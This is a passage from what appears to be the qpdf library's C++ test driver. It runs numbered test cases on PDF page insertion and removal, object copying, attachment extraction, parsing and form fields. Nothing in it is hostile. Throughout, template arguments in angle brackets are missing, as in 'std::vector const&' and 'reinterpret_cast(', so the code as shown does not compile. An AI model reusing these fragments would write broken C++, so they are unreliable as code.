QUtil::safe_fopen(filename.c_str(), \"wb\");\n            fwrite(b->getBuffer(), b->getSize(), 1, f);\n            fclose(f);\n            delete b;\n        }\n    }\n    else if (n == 15)\n    {\n        std::vector const& pages = pdf.getAllPages();\n        // Reference to original page numbers for this test case are\n        // numbered from 0.\n\n        // Remove pages from various places, checking to make sure\n        // that our pages reference is getting updated.\n        assert(pages.size() == 10);\n        pdf.removePage(pages.back()); // original page 9\n        assert(pages.size() == 9);\n        pdf.removePage(*pages.begin()); // original page 0\n        assert(pages.size() == 8);\n        checkPageContents(pages.at(4), \"Original page 5\");\n        pdf.removePage(pages.at(4)); // original page 5\n        assert(pages.size() == 7);\n        checkPageContents(pages.at(4), \"Original page 6\");\n        checkPageContents(pages.at(0), \"Original page 1\");\n        checkPageContents(pages.at(6), \"Original page 8\");\n\n        // Insert pages\n\n        // Create some content streams.\n        std::vector contents;\n        contents.push_back(createPageContents(pdf, \"New page 1\"));\n        contents.push_back(createPageContents(pdf, \"New page 0\"));\n        contents.push_back(createPageContents(pdf, \"New page 5\"));\n        contents.push_back(createPageContents(pdf, \"New page 6\"));\n        contents.push_back(createPageContents(pdf, \"New page 11\"));\n        contents.push_back(createPageContents(pdf, \"New page 12\"));\n\n        // Create some page objects.  Start with an existing\n        // dictionary and modify it.  Using the results of\n        // getDictAsMap to create a new dictionary effectively creates\n        // a shallow copy.\n        QPDFObjectHandle page_template = pages.at(0);\n        std::vector new_pages;\n        for (std::vector::iterator iter = contents.begin();\n             iter != contents.end(); ++iter)\n        {\n            // We will retain indirect object references to other\n            // indirect objects other than page content.\n            QPDFObjectHandle page = page_template.shallowCopy();\n            page.replaceKey(\"/Contents\", *iter);\n            if (iter == contents.begin())\n            {\n                // leave direct\n                new_pages.push_back(page);\n            }\n            else\n            {\n                new_pages.push_back(pdf.makeIndirectObject(page));\n            }\n        }\n\n        // Now insert the pages\n        pdf.addPage(new_pages.at(0), true);\n        checkPageContents(pages.at(0), \"New page 1\");\n        pdf.addPageAt(new_pages.at(1), true, pages.at(0));\n        assert(pages.at(0).getObjGen() == new_pages.at(1).getObjGen());\n        pdf.addPageAt(new_pages.at(2), true, pages.at(5));\n        assert(pages.at(5).getObjGen() == new_pages.at(2).getObjGen());\n        pdf.addPageAt(new_pages.at(3), false, pages.at(5));\n        assert(pages.at(6).getObjGen() == new_pages.at(3).getObjGen());\n        assert(pages.size() == 11);\n        pdf.addPage(new_pages.at(4), false);\n        assert(pages.at(11).getObjGen() == new_pages.at(4).getObjGen());\n        pdf.addPageAt(new_pages.at(5), false, pages.back());\n        assert(pages.size() == 13);\n        checkPageContents(pages.at(0), \"New page 0\");\n        checkPageContents(pages.at(1), \"New page 1\");\n        checkPageContents(pages.at(5), \"New page 5\");\n        checkPageContents(pages.at(6), \"New page 6\");\n        checkPageContents(pages.at(11), \"New page 11\");\n        checkPageContents(pages.at(12), \"New page 12\");\n\n        // Exercise writing to FILE*\n        FILE* out =  QUtil::safe_fopen(\"a.pdf\", \"wb\");\n\tQPDFWriter w(pdf, \"FILE* a.pdf\", out, true);\n\tw.setStaticID(true);\n\tw.setStreamDataMode(qpdf_s_preserve);\n\tw.write();\n    }\n    else if (n == 16)\n    {\n        // Insert a page manually and then update the cache.\n        std::vector const& all_pages = pdf.getAllPages();\n\n        QPDFObjectHandle contents = createPageContents(pdf, \"New page 10\");\n        QPDFObjectHandle page =\n            pdf.makeIndirectObject(\n                QPDFObjectHandle(all_pages.at(0)).shallowCopy());\n        page.replaceKey(\"/Contents\", contents);\n\n        // Insert the page manually.\n\tQPDFObjectHandle root = pdf.getRoot();\n\tQPDFObjectHandle pages = root.getKey(\"/Pages\");\n\tQPDFObjectHandle kids = pages.getKey(\"/Kids\");\n        page.replaceKey(\"/Parent\", pages);\n        pages.replaceKey(\n            \"/Count\",\n            QPDFObjectHandle::newInteger(1 + all_pages.size()));\n        kids.appendItem(page);\n        assert(all_pages.size() == 10);\n        pdf.updateAllPagesCache();\n        assert(all_pages.size() == 11);\n        assert(all_pages.back().getObjGen() == page.getObjGen());\n\n\tQPDFWriter w(pdf, \"a.pdf\");\n\tw.setStaticID(true);\n\tw.setStreamDataMode(qpdf_s_preserve);\n\tw.write();\n    }\n    else if (n == 17)\n    {\n        // The input file to this test case has a duplicated page.\n        QPDFObjectHandle page_kids =\n            pdf.getRoot().getKey(\"/Pages\").getKey(\"/Kids\");\n        assert(page_kids.getArrayItem(0).getObjGen() ==\n               page_kids.getArrayItem(1).getObjGen());\n        std::vector const& pages = pdf.getAllPages();\n        assert(pages.size() == 3);\n        assert(! (pages.at(0).getObjGen() == pages.at(1).getObjGen()));\n        assert(QPDFObjectHandle(pages.at(0)).getKey(\"/Contents\").getObjGen() ==\n               QPDFObjectHandle(pages.at(1)).getKey(\"/Contents\").getObjGen());\n        pdf.removePage(pages.at(0));\n        assert(pages.size() == 2);\n        PointerHolder b = QPDFObjectHandle(pages.at(0)).\n            getKey(\"/Contents\").getStreamData();\n        std::string contents = std::string(\n            reinterpret_cast(b->getBuffer()),\n            b->getSize());\n        assert(contents.find(\"page 0\") != std::string::npos);\n    }\n    else if (n == 18)\n    {\n        // Remove a page and re-insert it in the same file.\n        std::vector const& pages = pdf.getAllPages();\n\n        // Remove pages from various places, checking to make sure\n        // that our pages reference is getting updated.\n        assert(pages.size() == 10);\n        QPDFObjectHandle page5 = pages.at(5);\n        pdf.removePage(page5);\n        assert(pages.size() == 9);\n        pdf.addPage(page5, false);\n        assert(pages.size() == 10);\n        assert(pages.back().getObjGen() == page5.getObjGen());\n\n\tQPDFWriter w(pdf, \"a.pdf\");\n\tw.setStaticID(true);\n\tw.setStreamDataMode(qpdf_s_preserve);\n\tw.write();\n    }\n    else if (n == 19)\n    {\n        // Remove a page and re-insert it in the same file.\n        QPDFPageDocumentHelper dh(pdf);\n        std::vector pages = dh.getAllPages();\n\n        // Try to insert a page that's already there.\n        dh.addPage(pages.at(5), false);\n        std::cout << \"you can't see this\" << std::endl;\n    }\n    else if (n == 20)\n    {\n        // Shallow copy an array\n\tQPDFObjectHandle trailer = pdf.getTrailer();\n\tQPDFObjectHandle qtest = trailer.getKey(\"/QTest\");\n        QPDFObjectHandle copy = qtest.shallowCopy();\n        // Append shallow copy of a scalar\n        copy.appendItem(trailer.getKey(\"/Size\").shallowCopy());\n        trailer.replaceKey(\"/QTest2\", copy);\n\n\tQPDFWriter w(pdf, \"a.pdf\");\n\tw.setStaticID(true);\n\tw.setStreamDataMode(qpdf_s_preserve);\n\tw.write();\n    }\n    else if (n == 21)\n    {\n        // Try to shallow copy a stream\n        std::vector const& pages = pdf.getAllPages();\n        QPDFObjectHandle page = pages.at(0);\n        QPDFObjectHandle contents = page.getKey(\"/Contents\");\n        contents.shallowCopy();\n        std::cout << \"you can't see this\" << std::endl;\n    }\n    else if (n == 22)\n    {\n        // Try to remove a page we don't have\n        QPDFPageDocumentHelper dh(pdf);\n        std::vector pages = dh.getAllPages();\n        QPDFPageObjectHelper& page = pages.at(0);\n        dh.removePage(page);\n        dh.removePage(page);\n        std::cout << \"you can't see this\" << std::endl;\n    }\n    else if (n == 23)\n    {\n        QPDFPageDocumentHelper dh(pdf);\n        std::vector pages = dh.getAllPages();\n        dh.removePage(pages.back());\n    }\n    else if (n == 24)\n    {\n        // Test behavior of reserved objects\n        QPDFObjectHandle res1 = QPDFObjectHandle::newReserved(&pdf);\n        QPDFObjectHandle res2 = QPDFObjectHandle::newReserved(&pdf);\n\tQPDFObjectHandle trailer = pdf.getTrailer();\n        trailer.replaceKey(\"Array1\", res1);\n        trailer.replaceKey(\"Array2\", res2);\n\n        QPDFObjectHandle array1 = QPDFObjectHandle::newArray();\n        QPDFObjectHandle array2 = QPDFObjectHandle::newArray();\n        array1.appendItem(res2);\n        array1.appendItem(QPDFObjectHandle::newInteger(1));\n        array2.appendItem(res1);\n        array2.appendItem(QPDFObjectHandle::newInteger(2));\n        // Make sure trying to ask questions about a reserved object\n        // doesn't break it.\n        if (res1.isArray())\n        {\n            std::cout << \"oops -- res1 is an array\" << std::endl;\n        }\n        if (res1.isReserved())\n        {\n            std::cout << \"res1 is still reserved after checking if array\"\n                      << std::endl;\n        }\n        pdf.replaceReserved(res1, array1);\n        if (res1.isReserved())\n        {\n            std::cout << \"oops -- res1 is still reserved\" << std::endl;\n        }\n        else\n        {\n            std::cout << \"res1 is no longer reserved\" << std::endl;\n        }\n        res1.assertArray();\n        std::cout << \"res1 is an array\" << std::endl;\n\n        try\n        {\n            res2.unparseResolved();\n            std::cout << \"oops -- didn't throw\" << std::endl;\n        }\n        catch (std::logic_error const& e)\n        {\n            std::cout << \"logic error: \" << e.what() << std::endl;\n        }\n        try\n        {\n            res2.makeDirect();\n            std::cout << \"oops -- didn't throw\" << std::endl;\n        }\n        catch (std::logic_error const& e)\n        {\n            std::cout << \"logic error: \" << e.what() << std::endl;\n        }\n\n        pdf.replaceReserved(res2, array2);\n\n        res2.assertArray();\n        std::cout << \"res2 is an array\" << std::endl;\n\n        // Verify that the previously added reserved keys can be\n        // dereferenced properly now\n        int i1 = res1.getArrayItem(0).getArrayItem(1).getIntValue();\n        int i2 = res2.getArrayItem(0).getArrayItem(1).getIntValue();\n        if ((i1 == 2) && (i2 == 1))\n        {\n            std::cout << \"circular access and lazy resolution worked\" << std::endl;\n        }\n\n\tQPDFWriter w(pdf, \"a.pdf\");\n\tw.setStaticID(true);\n\tw.setStreamDataMode(qpdf_s_preserve);\n\tw.write();\n    }\n    else if (n == 25)\n    {\n        // The copy object tests are designed to work with a specific\n        // file.  Look at the test suite for the file, and look at the\n        // file for comments about the file's structure.\n\n        // Copy qtest without crossing page boundaries.  Should get O1\n        // and O2 and their streams but not O3 or any other pages.\n\n        assert(arg2 != 0);\n        {\n            // Make sure original PDF is out of scope when we write.\n            QPDF oldpdf;\n            oldpdf.processFile(arg2);\n            QPDFObjectHandle qtest = oldpdf.getTrailer().getKey(\"/QTest\");\n            pdf.getTrailer().replaceKey(\n                \"/QTest\", pdf.copyForeignObject(qtest));\n        }\n\n\tQPDFWriter w(pdf, \"a.pdf\");\n\tw.setStaticID(true);\n\tw.setStreamDataMode(qpdf_s_preserve);\n\tw.write();\n    }\n    else if (n == 26)\n    {\n        // Copy the O3 page using addPage.  Copy qtest without\n        // crossing page boundaries.  In addition to previous results,\n        // should get page O3 but no other pages including the page\n        // that O3 points to.  Also, inherited object will have been\n        // pushed down and will be preserved.\n\n        {\n            // Make sure original PDF is out of scope when we write.\n            assert(arg2 != 0);\n            QPDF oldpdf;\n            oldpdf.processFile(arg2);\n            QPDFObjectHandle qtest = oldpdf.getTrailer().getKey(\"/QTest\");\n            QPDFObjectHandle O3 = qtest.getKey(\"/O3\");\n            QPDFPageDocumentHelper(pdf).addPage(O3, false);\n            pdf.getTrailer().replaceKey(\n                \"/QTest\", pdf.copyForeignObject(qtest));\n        }\n\n\tQPDFWriter w(pdf, \"a.pdf\");\n\tw.setStaticID(true);\n\tw.setStreamDataMode(qpdf_s_preserve);\n\tw.write();\n    }\n    else if (n == 27)\n    {\n        // Copy O3 and the page O3 refers to before copying qtest.\n        // Should get qtest plus only the O3 page and the page that O3\n        // points to. Inherited objects should be preserved. This test\n        // also exercises copying from a stream that has a buffer and\n        // a provider, including copying a provider multiple times. We\n        // also exercise setImmediateCopyFrom.\n\n        // Create a provider. The provider stays in scope.\n\tPointerHolder p1;\n        {\n            // Local scope\n            Pl_Buffer pl(\"buffer\");\n            pl.write(QUtil::unsigned_char_pointer(\"new data for stream\\n\"),\n                      20); // no null!\n            pl.finish();\n            PointerHolder b = pl.getBuffer();\n            Provider* provider = new Provider(b);\n            p1 = provider;\n        }\n        // Create a stream that uses a provider in empty1 and copy it\n        // to empty2. It is copied from empty2 to the final pdf.\n        QPDF empty1;\n        empty1.emptyPDF();\n        QPDFObjectHandle s1 = QPDFObjectHandle::newStream(&empty1);\n\ts1.replaceStreamData(\n\t    p1, QPDFObjectHandle::newNull(), QPDFObjectHandle::newNull());\n        QPDF empty2;\n        empty2.emptyPDF();\n\ts1 = empty2.copyForeignObject(s1);\n        {\n            // Make sure some source PDFs are out of scope when we\n            // write.\n\n            PointerHolder p2;\n            // Create another provider. This one will go out of scope\n            // along with its containing qpdf, which has\n            // setImmediateCopyFrom(true).\n            {\n                // Local scope\n                Pl_Buffer pl(\"buffer\");\n                pl.write(QUtil::unsigned_char_pointer(\n                              \"more data for stream\\n\"),\n                          21); // no null!\n                pl.finish();\n                PointerHolder b = pl.getBuffer();\n                Provider* provider = new Provider(b);\n                p2 = provider;\n            }\n            QPDF empty3;\n            empty3.emptyPDF();\n            empty3.setImmediateCopyFrom(true);\n            QPDFObjectHandle s3 = QPDFObjectHandle::newStream(&empty3);\n            s3.replaceStreamData(\n                p2, QPDFObjectHandle::newNull(), QPDFObjectHandle::newNull());\n            assert(arg2 != 0);\n            QPDF oldpdf;\n            oldpdf.processFile(arg2);\n            QPDFObjectHandle qtest = oldpdf.getTrailer().getKey(\"/QTest\");\n            QPDFObjectHandle O3 = qtest.getKey(\"/O3\");\n            QPDFPageDocumentHelper dh(pdf);\n            dh.addPage(O3.getKey(\"/OtherPage\"), false);\n            dh.addPage(O3, false);\n            QPDFObjectHandle s2 = QPDFObjectHandle::newStream(\n                &oldpdf, \"potato\\n\");\n            pdf.getTrailer().replaceKey(\n                \"/QTest\", pdf.copyForeignObject(qtest));\n            pdf.getTrailer().replaceKey(\n                \"/QTest2\", QPDFObjectHandle::newArray());\n            pdf.getTrailer().getKey(\"/QTest2\").appendItem(\n                pdf.copyForeignObject(s1));\n            pdf.getTrailer().getKey(\"/QTest2\").appendItem(\n                pdf.copyForeignObject(s2));\n            pdf.getTrailer().getKey(\"/QTest2\").appendItem(\n                pdf.copyForeignObject(s3));\n        }\n\n\tQPDFWriter w(pdf, \"a.pdf\");\n\tw.setStaticID(true);\n\tw.setStreamDataMode(qpdf_s_preserve);\n\tw.write();\n    }\n    else if (n == 28)\n    {\n        // Copy foreign object errors\n        try\n        {\n            pdf.copyForeignObject(pdf.getTrailer().getKey(\"/QTest\"));\n            std::cout << \"oops -- didn't throw\" << std::endl;\n        }\n        catch (std::logic_error const& e)\n        {\n            std::cout << \"logic error: \" << e.what() << std::endl;\n        }\n        try\n        {\n            pdf.copyForeignObject(QPDFObjectHandle::newInteger(1));\n            std::cout << \"oops -- didn't throw\" << std::endl;\n        }\n        catch (std::logic_error const& e)\n        {\n            std::cout << \"logic error: \" << e.what() << std::endl;\n        }\n    }\n    else if (n == 29)\n    {\n        // Detect mixed objects in QPDFWriter\n        assert(arg2 != 0);\n        QPDF other;\n        other.processFile(arg2);\n        // Should use copyForeignObject instead\n        other.getTrailer().replaceKey(\n            \"/QTest\", pdf.getTrailer().getKey(\"/QTest\"));\n\n        try\n        {\n            QPDFWriter w(other, \"a.pdf\");\n            w.write();\n            std::cout << \"oops -- didn't throw\" << std::endl;\n        }\n        catch (std::logic_error const& e)\n        {\n            std::cout << \"logic error: \" << e.what() << std::endl;\n        }\n    }\n    else if (n == 30)\n    {\n        assert(arg2 != 0);\n        QPDF encrypted;\n        encrypted.processFile(arg2, \"user\");\n        QPDFWriter w(pdf, \"b.pdf\");\n\tw.setStreamDataMode(qpdf_s_preserve);\n        w.copyEncryptionParameters(encrypted);\n\tw.write();\n\n        // Make sure the contents are actually the same\n        QPDF final;\n        final.processFile(\"b.pdf\", \"user\");\n        std::vector pages = pdf.getAllPages();\n        std::string orig_contents = getPageContents(pages.at(0));\n        pages = final.getAllPages();\n        std::string new_contents = getPageContents(pages.at(0));\n        if (orig_contents != new_contents)\n        {\n            std::cout << \"oops -- page contents don't match\" << std::endl\n                      << \"original:\\n\" << orig_contents\n                      << \"new:\\n\" << new_contents\n                      << std::endl;\n        }\n    }\n    else if (n == 31)\n    {\n        // Test object parsing from a string.  The input file is not used.\n\n        QPDFObjectHandle o1 =\n            QPDFObjectHandle::parse(\n                \"[/name 16059 3.14159 false\\n\"\n                \" << /key true /other [ (string1) (string2) ] >> null]\");\n        std::cout << o1.unparse() << std::endl;\n        QPDFObjectHandle o2 = QPDFObjectHandle::parse(\"   12345 \\f  \");\n        assert(o2.isInteger() && (o2.getIntValue() == 12345));\n        try\n        {\n            QPDFObjectHandle::parse(\"[1 0 R]\", \"indirect test\");\n            std::cout << \"oops -- didn't throw\" << std::endl;\n        }\n        catch (std::logic_error const& e)\n        {\n            std::cout << \"logic error parsing indirect: \" << e.what()\n                      << std::endl;\n        }\n        try\n        {\n            QPDFObjectHandle::parse(\"0 trailing\", \"trailing test\");\n            std::cout << \"oops -- didn't throw\" << std::endl;\n        }\n        catch (std::runtime_error const& e)\n        {\n            std::cout << \"trailing data: \" << e.what()\n                      << std::endl;\n        }\n    }\n    else if (n == 32)\n    {\n        // Extra header text\n        char const* filenames[] = {\"a.pdf\", \"b.pdf\", \"c.pdf\", \"d.pdf\"};\n        for (int i = 0; i < 4; ++i)\n        {\n            bool linearized = ((i & 1) != 0);\n            bool newline = ((i & 2) != 0);\n            QPDFWriter w(pdf, filenames[i]);\n            w.setStaticID(true);\n            std::cout\n                << \"file: \" << filenames[i] << std::endl\n                << \"linearized: \" << (linearized ? \"yes\" : \"no\") << std::endl\n                << \"newline: \" << (newline ? \"yes\" : \"no\") << std::endl;\n            w.setLinearization(linearized);\n            w.setExtraHeaderText(newline\n                                 ? \"%% Comment with newline\\n\"\n                                 : \"%% Comment\\n% No newline\");\n            w.write();\n        }\n    }\n    else if (n == 33)\n    {\n        // Test writing to a custom pipeline\n        Pl_Buffer p(\"buffer\");\n        QPDFWriter w(pdf);\n        w.setStaticID(true);\n        w.setOutputPipeline(&p);\n        w.write();\n        PointerHolder b = p.getBuffer();\n        FILE* f = QUtil::safe_fopen(\"a.pdf\", \"wb\");\n        fwrite(b->getBuffer(), b->getSize(), 1, f);\n        fclose(f);\n    }\n    else if (n == 34)\n    {\n        // Look at Extensions dictionary\n        std::cout << \"version: \" << pdf.getPDFVersion() << std::endl\n                  << \"extension level: \" << pdf.getExtensionLevel() << std::endl\n                  << pdf.getRoot().getKey(\"/Extensions\").unparse() << std::endl;\n    }\n    else if (n == 35)\n    {\n        // Extract attachments\n\n        std::map > attachments;\n        QPDFObjectHandle root = pdf.getRoot();\n        QPDFObjectHandle names = root.getKey(\"/Names\");\n        QPDFObjectHandle embeddedFiles = names.getKey(\"/EmbeddedFiles\");\n        names = embeddedFiles.getKey(\"/Names\");\n        for (int i = 0; i < names.getArrayNItems(); ++i)\n        {\n            QPDFObjectHandle item = names.getArrayItem(i);\n            if (item.isDictionary() &&\n                item.getKey(\"/Type\").isName() &&\n                (item.getKey(\"/Type\").getName() == \"/Filespec\") &&\n                item.getKey(\"/EF\").isDictionary() &&\n                item.getKey(\"/EF\").getKey(\"/F\").isStream())\n            {\n                std::string filename = item.getKey(\"/F\").getStringValue();\n                QPDFObjectHandle stream = item.getKey(\"/EF\").getKey(\"/F\");\n                attachments[filename] = stream.getStreamData();\n            }\n        }\n        for (std::map >::iterator iter =\n                 attachments.begin(); iter != attachments.end(); ++iter)\n        {\n            std::string const& filename = (*iter).first;\n            std::string data = std::string(\n                reinterpret_cast((*iter).second->getBuffer()),\n                (*iter).second->getSize());\n            bool is_binary = false;\n            for (size_t i = 0; i < data.size(); ++i)\n            {\n                if ((data.at(i) < 0) || (data.at(i) > 126))\n                {\n                    is_binary = true;\n                    break;\n                }\n            }\n            if (is_binary)\n            {\n                std::string t;\n                for (size_t i = 0;\n                     i < std::min(data.size(), static_cast(20));\n                     ++i)\n                {\n                    if ((data.at(i) >= 32) && (data.at(i) <= 126))\n                    {\n                        t += data.at(i);\n                    }\n                    else\n                    {\n                        t += \".\";\n                    }\n                }\n                t += \" (\" + QUtil::int_to_string(data.size()) + \" bytes)\";\n                data = t;\n            }\n            std::cout << filename << \":\\n\" << data << \"--END--\\n\";\n        }\n    }\n    else if (n == 36)\n    {\n        // Extract raw unfilterable attachment\n\n        QPDFObjectHandle root = pdf.getRoot();\n        QPDFObjectHandle names = root.getKey(\"/Names\");\n        QPDFObjectHandle embeddedFiles = names.getKey(\"/EmbeddedFiles\");\n        names = embeddedFiles.getKey(\"/Names\");\n        for (int i = 0; i < names.getArrayNItems(); ++i)\n        {\n            QPDFObjectHandle item = names.getArrayItem(i);\n            if (item.isDictionary() &&\n                item.getKey(\"/Type\").isName() &&\n                (item.getKey(\"/Type\").getName() == \"/Filespec\") &&\n                item.getKey(\"/EF\").isDictionary() &&\n                item.getKey(\"/EF\").getKey(\"/F\").isStream() &&\n                (item.getKey(\"/F\").getStringValue() == \"attachment1.txt\"))\n            {\n                std::string filename = item.getKey(\"/F\").getStringValue();\n                QPDFObjectHandle stream = item.getKey(\"/EF\").getKey(\"/F\");\n                Pl_Buffer p1(\"buffer\");\n                Pl_Flate p2(\"compress\", &p1, Pl_Flate::a_inflate);\n                stream.pipeStreamData(&p2, 0, qpdf_dl_none);\n                PointerHolder buf = p1.getBuffer();\n                std::string data = std::string(\n                    reinterpret_cast(buf->getBuffer()),\n                    buf->getSize());\n                std::cout << stream.getDict().unparse()\n                          << filename << \":\\n\" << data << \"--END--\\n\";\n            }\n        }\n    }\n    else if (n == 37)\n    {\n        // Parse content streams of all pages\n        std::vector pages =\n            QPDFPageDocumentHelper(pdf).getAllPages();\n        for (std::vector::iterator iter = pages.begin();\n             iter != pages.end(); ++iter)\n        {\n            QPDFPageObjectHelper& page(*iter);\n            ParserCallbacks cb;\n            page.parsePageContents(&cb);\n        }\n    }\n    else if (n == 38)\n    {\n        // Designed for override-compressed-object.pdf\n        QPDFObjectHandle qtest = pdf.getRoot().getKey(\"/QTest\");\n        for (int i = 0; i < qtest.getArrayNItems(); ++i)\n        {\n            std::cout << qtest.getArrayItem(i).unparseResolved() << std::endl;\n        }\n    }\n    else if (n == 39)\n    {\n        // Display image filter and color set for each image on each page\n        std::vector pages =\n            QPDFPageDocumentHelper(pdf).getAllPages();\n        int pageno = 0;\n        for (std::vector::iterator p_iter =\n                 pages.begin();\n             p_iter != pages.end(); ++p_iter)\n        {\n            std::cout << \"page \" << ++pageno << std::endl;\n\t    std::map images =\n\t\t(*p_iter).getPageImages();\n\t    for (std::map::iterator i_iter =\n\t\t     images.begin(); i_iter != images.end(); ++i_iter)\n\t    {\n                QPDFObjectHandle image_dict = (*i_iter).second.getDict();\n                std::cout << \"filter: \"\n                          << image_dict.getKey(\"/Filter\").unparseResolved()\n                          << \", color space: \"\n                          << image_dict.getKey(\"/ColorSpace\").unparseResolved()\n                          << std::endl;\n            }\n        }\n    }\n    else if (n == 40)\n    {\n        // Write PCLm. This requires specially crafted PDF files. This\n        // feature was implemented by Sahil Arora\n        //  as part of a Google Summer of\n        // Code project in 2017.\n        assert(arg2 != 0);\n        QPDFWriter w(pdf, arg2);\n        w.setPCLm(true);\n        w.setStaticID(true);\n        w.write();\n    }\n    else if (n == 41)\n    {\n        // Apply a token filter. This test case is crafted to work\n        // with coalesce.pdf.\n        std::vector pages =\n            QPDFPageDocumentHelper(pdf).getAllPages();\n        for (std::vector::iterator iter =\n                 pages.begin();\n             iter != pages.end(); ++iter)\n        {\n            (*iter).addContentTokenFilter(new TokenFilter);\n        }\n        QPDFWriter w(pdf, \"a.pdf\");\n\tw.setQDFMode(true);\n        w.setStaticID(true);\n        w.write();\n    }\n    else if (n == 42)\n    {\n        // Access objects as wrong type. This test case is crafted to\n        // work with object-types.pdf.\n        QPDFObjectHandle qtest = pdf.getTrailer().getKey(\"/QTest\");\n        QPDFObjectHandle array = qtest.getKey(\"/Dictionary\").getKey(\"/Key2\");\n        QPDFObjectHandle dictionary = qtest.getKey(\"/Dictionary\");\n        QPDFObjectHandle integer = qtest.getKey(\"/Integer\");\n        QPDFObjectHandle null = QPDFObjectHandle::newNull();\n        assert(array.isArray());\n        assert(dictionary.isDictionary());\n        assert(\"\" == qtest.getStringValue());\n        array.getArrayItem(-1).assertNull();\n        array.getArrayItem(16059).assertNull();\n        integer.getArrayItem(0).assertNull();\n        integer.appendItem(null);\n        array.eraseItem(-1);\n        array.eraseItem(16059);\n        integer.eraseItem(0);\n        integer.insertItem(0, null);\n        integer.setArrayFromVector(std::vector());\n        integer.setArrayItem(0, null);\n        assert(0 == integer.getArrayNItems());\n        assert(integer.getArrayAsVector().empty());\n        assert(false == integer.getBoolValue());\n        assert(integer.getDictAsMap().empty());\n        assert(integer.getKeys().empty());\n        assert(false == integer.hasKey(\"/Potato\"));\n        integer.removeKey(\"/Potato\");\n        integer.replaceOrRemoveKey(\"/Potato\", null);\n        integer.replaceOrRemoveKey(\"/Potato\", QPDFObjectHandle::newInteger(1));\n        integer.replaceKey(\"/Potato\", QPDFObjectHandle::newInteger(1));\n        qtest.getKey(\"/Integer\").getKey(\"/Potato\");\n        assert(integer.getInlineImageValue().empty());\n        assert(0 == dictionary.getIntValue());\n        assert(\"/QPDFFakeName\" == integer.getName());\n        assert(\"QPDFFAKE\" == integer.getOperatorValue());\n        assert(\"0.0\" == dictionary.getRealValue());\n        assert(integer.getStringValue().empty());\n        assert(integer.getUTF8Value().empty());\n        assert(0.0 == dictionary.getNumericValue());\n        // Make sure error messages are okay for nested values\n        std::cerr << \"One error\\n\";\n        assert(array.getArrayItem(0).getStringValue().empty());\n        std::cerr << \"One error\\n\";\n        assert(dictionary.getKey(\"/Quack\").getStringValue().empty());\n        assert(array.getArrayItem(1).isDictionary());\n        assert(array.getArrayItem(1).getKey(\"/K\").isArray());\n        assert(array.getArrayItem(1).getKey(\"/K\").getArrayItem(0).isName());\n        assert(\"/V\" ==\n               array.getArrayItem(1).getKey(\"/K\").getArrayItem(0).getName());\n        std::cerr << \"Two errors\\n\";\n        assert(array.getArrayItem(16059).getStringValue().empty());\n        std::cerr << \"One error\\n\";\n        array.getArrayItem(1).getKey(\"/K\").getArrayItem(0).getStringValue();\n        // Stream dictionary\n        QPDFObjectHandle page = pdf.getAllPages().at(0);\n        assert(\"/QPDFFakeName\" ==\n               page.getKey(\"/Contents\").getDict().getKey(\"/Potato\").getName());\n        // Rectangles\n        QPDFObjectHandle::Rectangle r0 = integer.getArrayAsRectangle();\n        assert((r0.llx == 0) && (r0.lly == 0) &&\n               (r0.urx == 0) && (r0.ury == 0));\n        QPDFObjectHandle rect = QPDFObjectHandle::newFromRectangle(\n            QPDFObjectHandle::Rectangle(1.2, 3.4, 5.6, 7.8));\n        QPDFObjectHandle::Rectangle r1 = rect.getArrayAsRectangle();\n        assert((r1.llx > 1.19) && (r1.llx < 1.21) &&\n               (r1.lly > 3.39) && (r1.lly < 3.41) &&\n               (r1.urx > 5.59) && (r1.urx < 5.61) &&\n               (r1.ury > 7.79) && (r1.ury < 7.81));\n    }\n    else if (n == 43)\n    {\n        // Forms\n        QPDFAcroFormDocumentHelper afdh(pdf);\n        if (! afdh.hasAcroForm())\n        {\n            std::cout << \"no forms\\n\";\n            return;\n        }\n        std::cout << \"iterating over form fields\\n\";\n        std::vector form_fields =\n            afdh.getFormFields();\n        for (std::vector::iterator iter =\n                 form_fields.begin();\n             iter != form_fields.end(); ++iter)\n        {\n            QPDFFormFieldObjectHelper ffh(*iter);\n            std::cout << \"Field: \" << ffh.getObjectHandle().unparse()\n                      << std::endl;\n            QPDFFormFieldObjectHelper node = ffh;\n            while (! node.isNull())\n            {\n                QPDFFormFieldObjectHelper parent(node.getParent());\n                std::cout << \"  Parent: \"\n                          << (parent.isNull()\n                              ? std::string(\"none\")\n                              : parent.getObjectHandle().unparse())\n                          << std::endl;\n                node = parent;\n            }\n            std::cout << \"  Fully qualified name: \"\n                      << ffh.getFullyQualifiedName() << std::endl;\n            std::cout << \"  Partial name: \"\n                      << ffh.getPartialName() << std::endl;\n            std::cout << \"  Alternative name: \"\n                      << ffh.getAlternativeName() << std::endl;\n            std::cout << \"  Mapping name: \"\n                      << ffh.getMappingName() << std::endl;\n            std::cout << \"  Field type: \"\n                      << ffh.getFieldType() << std::endl;\n            std::cout << \"  Value: \"\n                      << ffh.getValue().unparse() << std::endl;\n            std::cout << \"  Value as string: \"\n                      << ffh.getValueAsString() << std::endl;\n            std::cout << \"  Default value: \"\n                      << ffh.getDefaultValue().unparse() << std::endl;\n            std::cout << \"  Default value as string: \"\n                      << ffh.getDefaultValueAsString() << std::endl;\n            std::cout << \"  Default appearance: \"\n                      << ffh.getDefaultAppearance() << std::endl;\n            std::cout << \"  Quadding: \"\n                      << ffh.getQuadding() << std::endl;\n            std::vector annotations =\n                afdh.getAnnotationsForField(ffh);\n            for (std::vector::iterator i2 =\n                     annotations.begin();\n                 i2 != annotations.end(); ++i2)\n            {\n                std::cout << \"  Annotation: \"\n                          << (*i2).getObjectHandle().unparse() << std::endl;\n            }\n        }\n        std::cout << \"iterating over annotations per page\\n\";\n        std::vector pages =\n            QPDFPageDocumentHelper(pdf).getAllPages();\n        for (std::vector::iterator iter = pages.begin();\n             iter != pages.end(); ++iter)\n        {\n            std::cout << \"Page: \" << (*iter).getObjectHandle().unparse()\n                      << std::endl;\n            std::vector annotations =\n                afdh.getWidgetAnnotationsForPage(*iter);\n            for (std::vector::iterator i2 =\n                     annotations.begin();\n                 i2 != annotations.end(); ++i2)\n            {\n                QPDFAnnotationObjectHelper ah(*i2);\n                std::cout << \"  Annotation: \" << ah.getObjectHandle().unparse()\n                          << std::endl;\n                std::cout << \"    Field: \"\n                          << (afdh.getFieldForAnnotation(ah).\n                              getObjectHandle().unparse())\n                          << std::endl;\n                std::cout << \"    Subtype: \" << ah.getSubtype() << std::endl;\n                std::cout << \"    Rect: \";\n                print_rect(std::cout, ah.getRect());\n                std::cout << std::endl;\n                std::string state = ah.getAppearanceState();\n                if (! state.empty())\n                {\n                    std::cout << \"    Appearance state: 